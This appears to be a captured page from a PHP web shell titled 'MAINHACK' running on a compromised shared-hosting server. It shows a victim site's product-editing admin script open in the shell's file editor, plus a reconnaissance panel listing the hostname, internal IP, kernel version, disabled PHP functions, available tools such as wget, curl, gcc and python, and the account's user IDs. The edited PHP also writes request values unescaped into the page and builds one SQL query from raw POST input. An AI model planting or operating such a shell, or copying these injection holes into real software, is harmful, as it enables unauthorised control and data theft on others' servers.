[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: edit_product_final.php
<?php include('header.php'); $pid=$_REQUEST['id']; ?> <script src="tinymce/tinymce.min.js"></script> <script>tinymce.init({ selector:'textarea' }); function show(){ var file1 = $('#file1').val(); //alert(file1); $.ajax({ type: "POST", url: "upload_img.php", // Name of the php files data: "file1="+file1, success: function(html) { $("#s1").html(html); // alert('jj'); //document.getElementById("hide").style.display="none"; } }); } function fill(Value,Value2) { $('#fli').val(Value); $('#display').hide(); $('#ven_id').val(Value2); } $(document).ready(function(){ $("#fli").keyup(function() { var name = $('#fli').val(); if(name=="") { $("#display").html(""); } else { $.ajax({ type: "POST", url: "fetch.php", data: "name="+ name , success: function(html){ $("#display").html(html).show(); } }); } }); }); </script> <script type="text/javascript"> $(document).ready(function(){ // Add more $('#addmore').click(function(){ // Get last id var lastname_id = $('.tr_input input[type=text]:nth-child(1)').last().attr('id'); var split_id = lastname_id.split('_'); // alert('ss'); // New index var index = Number(split_id[1]) + 1; // Create row with input elements var html = "<div class='tr_input'><table class='table'><tbody><tr><td><input type='text' id='testcode_"+index+"' name='nsize[]'></td><input type='hidden' value='<?=$_REQUEST['id']?>' name='product_id' maxlength='10'> </td><td><a href='javascript:void(0);' id='remove_field' class='btn btn-danger remCF' >-</a></td></tr></table></div>"; // Append data $('#tab').append(html); }); $("#tab").on('click','.remCF',function(){ $(this).parent().parent().remove(); }); }); </script> <div id="page-wrapper"> <div class="main-page"> <div id="col-md-12"> <div class="form-grids row widget-shadow" data-example-id="basic-forms"> <div class="form-title"> <h4>Edit Product Entry</h4> </div> <div class="form-body"> <?php $show=new Oops($db); $sq=$show->readwithdata('product','product_id',$pid); $num=$sq->rowCount(); if($num>0){ while($row=$sq->fetch(PDO::FETCH_ASSOC)){ $pro_id=$row['product_id']; $pname=$row['name']; $desc=$row['description']; $cate=$row['category']; $quantity=$row['quantity']; $stu=$row['stu_number']; $color=$row['color']; $gst=$row['gst']; $delivery_charge=$row['delivery_charge']; $price=$row['price']; $discounted_price=$row['discounted_price']; $size=$row['size']; } } ?> <form method="post" data-toggle="" enctype="multipart/form-data" action=""> <div class="col-md-2"> <label>Product Category</label> <select name="category" class="form-control" required> <option value="">Category</option> <?php $table='category'; $stmt=$show->readAll($table); $num=$stmt->rowCount(); if($num>0){ while($row=$stmt->fetch(PDO::FETCH_ASSOC)){ echo "<option value='".$row['category']."'";if($cate==$row['category']) echo "selected"; echo ">".$row['category']."</option>"; } } ?> </select> </div> <div class="col-md-3"> <label>Product Name</label> <input type="hidden" class="form-control" value="<?php echo $pro_id; ?>" name="pid" size="30" /> <input type="text" class="form-control" placeholder="Full Name" name="name" value="<?php echo $pname; ?>" size="30" required> </div> <div class="col-md-2"> <label>Product quantity</label> <input type="number" class="form-control" pattern="[0-9]+" value="<?=$quantity?>" title="Qty" placeholder="Qty" name="quantity" size="30" required> </div> <div class="col-md-2"> <label>SKU NO</label> <input type="text" class="form-control" title="Qty" value="<?=$stu?>" placeholder="STU Number" name="stu_number" size="30" required> </div> <div class="col-md-2"> <label>GST(%)</label> <input type="text" class="form-control" title="gst" value="<?=$gst?>" placeholder="gst" name="gst" size="30" readonly> </div> <div class="col-md-2"> <label>Price</label> <input type="text" class="form-control" value="<?=$price?>" placeholder="Price" name="price" size="30" required> </div> <div class="col-md-2"> <label>Discounted Price</label> <input type="text" class="form-control" value="<?=$discounted_price?>" title="Qty" placeholder="Discounted Price" name="discounted_price" size="30" required> <span class="note">Note: If discount is not given please put the price in the discounted price box</span> </div> <div class="col-md-2"> <label>Delivery Chrge</label> <input type="text" name="delivery_charge" id="delivery_charge" class="form-control" value="<?=$delivery_charge?>" readonly> </div> <div class="col-md-6"> <label>Product Image</label> <table class="table"> <thead> <tr> <th>Sl</th> <th>Image</th> <th>Delete</th> </tr> </thead> <tbody> <?php // echo $_SERVER['REQUEST_URI'] ; $count=1; $sq=$show->readwithdata('product_img','product_id',$pid); $num=$sq->rowCount(); if($num>0){ while($row=$sq->fetch(PDO::FETCH_ASSOC)){ $id=$row['id']; echo "<tr> <td>$count</td> <td><img src='$pic_img/".$row['image']."' width='80' height='50'></td> <td> <a href='edit_pic.php?id=$id&url=".$_SERVER['REQUEST_URI']."' class='label label-success' rel='facebox'>Edit</a> </td> </tr>"; ++$count; } } ?> </tbody></table> </div> <?php if($size==1){?> <div class="col-md-2"> <div class="form-group"> <label>Color</label> <?php $interests = array('Black','Gray','White','Blue','Purple','Violet','Pink','Green','Yellow','Orange','Red','Brown','Beige','multi'); ?> <select name="color" class="form-control"> <?php foreach( $interests as $interest ): ?> <option style="background-color: <?=$interest?>;color: #FFFFFF;" value="<?php echo $interest ?>"<?php if( $interest==$color): ?> selected="selected"<?php endif; ?>><?php echo $interest ?></option> <?php endforeach; ?> </select> </div> </div> <div class="col-md-6"> <label>Product Size & Price</label> <table class="table"> <thead> <tr><th>Size</th></tr> </thead> <tbody> <?php $array_size = array(); $array_price = array(); $array_dis = array(); $array = array(); $sq1=$show->readwithdata('product_size','product_id',$pid); $num1=$sq1->rowCount(); if($num1>0){ while($row1=$sq1->fetch(PDO::FETCH_ASSOC)){ $array_size[] = $row['size']; $array_price[] = $row['price']; $array_disprice[] = $row['discount_price']; ?> <tr> <td><input type="checkbox" name="size[]" value="<?=$row1['size']?>" checked> <?=$row1['size']?></td> </td> <td> <a href="delete.php?id=<?=$row1['id']?>&table=product_size&url=<?=$_SERVER['REQUEST_URI']?>" class='label label-danger' onclick='return send();'>Delete</a> </td> </tr> <?php } } ?> </tbody></table> <input type="hidden" name="all_size" value="<?= implode(" ",$array_size)?>" > <input type="hidden" id="getid" value="1"> <input type="hidden" id="lastdata" > <table class="table"> <label>Add New Size</label> <tr> <th>Size</th> </tr> </table> <div class='tr_input' id="tab" style="border:none !important;"> <table class="table"> <tbody> <tr> <td><input type='text' id='dtestcode_1' name='nsize[]' maxlength='10' > </td> <input type='hidden' id='dtestcode_1' value="<?=$_REQUEST['id']?>" name='p_id[]' maxlength='10'> </td> <td><input type='button' class="btn btn-info" value='+' id='addmore'></td> </tr> </tbody> </table> </div> <div class="clearfix"></div> </div> <input type='hidden' value='1' name='type'> <?php }else{ ?> <input type='hidden' value='0' name='type'> <?php } ?> <div class="col-md-12"> <label>Description</label> <textarea class="form-control" name="description" required> <?php echo $desc; ?></textarea> </div> <div class="col-md-6"> <input type="submit" class="btn btn-info" name="sub" value="Submit"> </div> </form> </div> </div> <div class="modal fade" id="empModal" role="dialog"> <div class="modal-dialog"> <!-- Modal content--> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal">×</button> <h4 class="modal-title">User Info</h4> </div> <div class="modal-body"> <form method="post" id="insert_form" enctype="multipart/form-data"> <label>Image</label> <input type="file" name="file" onchange="return fileValidation('file')" id="file" class="form-control" /> <br /> <input type="hidden" name="image" id="image" /> <input type="hidden" name="id" id="id" /> <input type="submit" name="insert" id="insert" value="Insert" class="btn btn-success" /> </form> </div> <div class="modal-footer"> <button type="button" class="btn btn-default" data-dismiss="modal">Close</button> </div> </div> </div> </div> <?php if(isset($_POST['sub'])){ $price=$_POST['price']; $price1=$_POST['discounted_price']; $dis=$price-$price1; $total_dis=$dis/$price; $dis_per=$total_dis*100; $discount=round($dis_per); $allowed = ["category","name","paper","stu_number","quantity","color","gst","size"]; $params = []; $setStr = ""; foreach ($allowed as $key) { if (isset($_POST[$key]) && $key != "uid") { $setStr .= "`$key` = :$key,"; $params[$key] = htmlspecialchars(strip_tags($_POST[$key])); } } //$setStr = rtrim($setStr, ","); $setStr .="`description` = :description,`price`=:price,`discounted_price`=:discounted_price,`discount`=:discount,`size`=:size"; $params['product_id'] =$_POST['pid']; $params['description'] =$_POST['description']; $params['price'] =$price; $params['discounted_price'] =$price1; $params['discount'] =$discount; $params['size'] =$_POST['type']; $show->table ='product'; $show->cols =$setStr; $show->id_name ='product_id'; $show->params =$params; if(isset($_POST['nsize']) && $_POST['nsize']!=NULL){ foreach($_POST['nsize'] as $key=>$n){ echo var_dump($_POST['nsize'][$key]); if(!empty($_POST['nsize'][$key])){ $data=array( 'product_id'=>$_POST['pid'], 'size'=>htmlentities(strip_tags($_POST['nsize'][$key])), ); //print_r($data); $r=$show->insert('product_size',$data); } } } if(isset($_POST['size']) && $_POST['size']!=NULL){ foreach($_POST['size'] as $key=>$n){ $r="update product_size set size='".htmlentities(strip_tags($_POST['size'][$key]))."' where id='".$_POST['pid']."'"; $stmt=$con->prepare($r); $stmt->execute(); } } $r=$show->update_all(); if($r){ echo "<script>alert('updated');window.location.href='".$_SERVER['REQUEST_URI']."'</script>"; } } ?> </div> </div></div> <script type='text/javascript'> $(document).ready(function(){ $('.userinfo').click(function(){ var id = this.id; var splitid = id.split('_'); var userid = splitid[1]; $.ajax({ url: 'ajax_check.php', type: 'post', dataType:"json", data: {userid: userid}, success: function(data){ $('#id').val(data.id); $('#image').val(data.image); $('#empModal').modal('show'); } }); }); }); $('#insert_form').on("submit", function(event){ event.preventDefault(); if($('#file').val() == "") { alert("File is required"); } else { // var file=$('#file').val(); //var id=$('#id').val(); var formData = new FormData($(this)[0]); // alert(formData) $.ajax({ url:"insert.php", method:"POST", // data:"file="+file+"&id="+id, data:formData, cache: false, contentType: false, processData: false, beforeSend:function(){ $('#insert').val("Inserting"); }, success:function(data){ location.reload(); // alert(data); } }); } }); </script> <script src="js/bootstrap-datepicker.js"></script> <script type="text/javascript"> // When the document is ready $(document).ready(function(){ $("#date1").datepicker({ format: 'dd-mm-yyyy', }); $("#date2").datepicker({ format: 'dd-mm-yyyy', }); $("#date3").datepicker({ format: 'dd-mm-yyyy', }); $("#date4").datepicker({ format: 'dd-mm-yyyy', }); }); </script> <!--footer--> <?php include('footer.php'); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.49 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619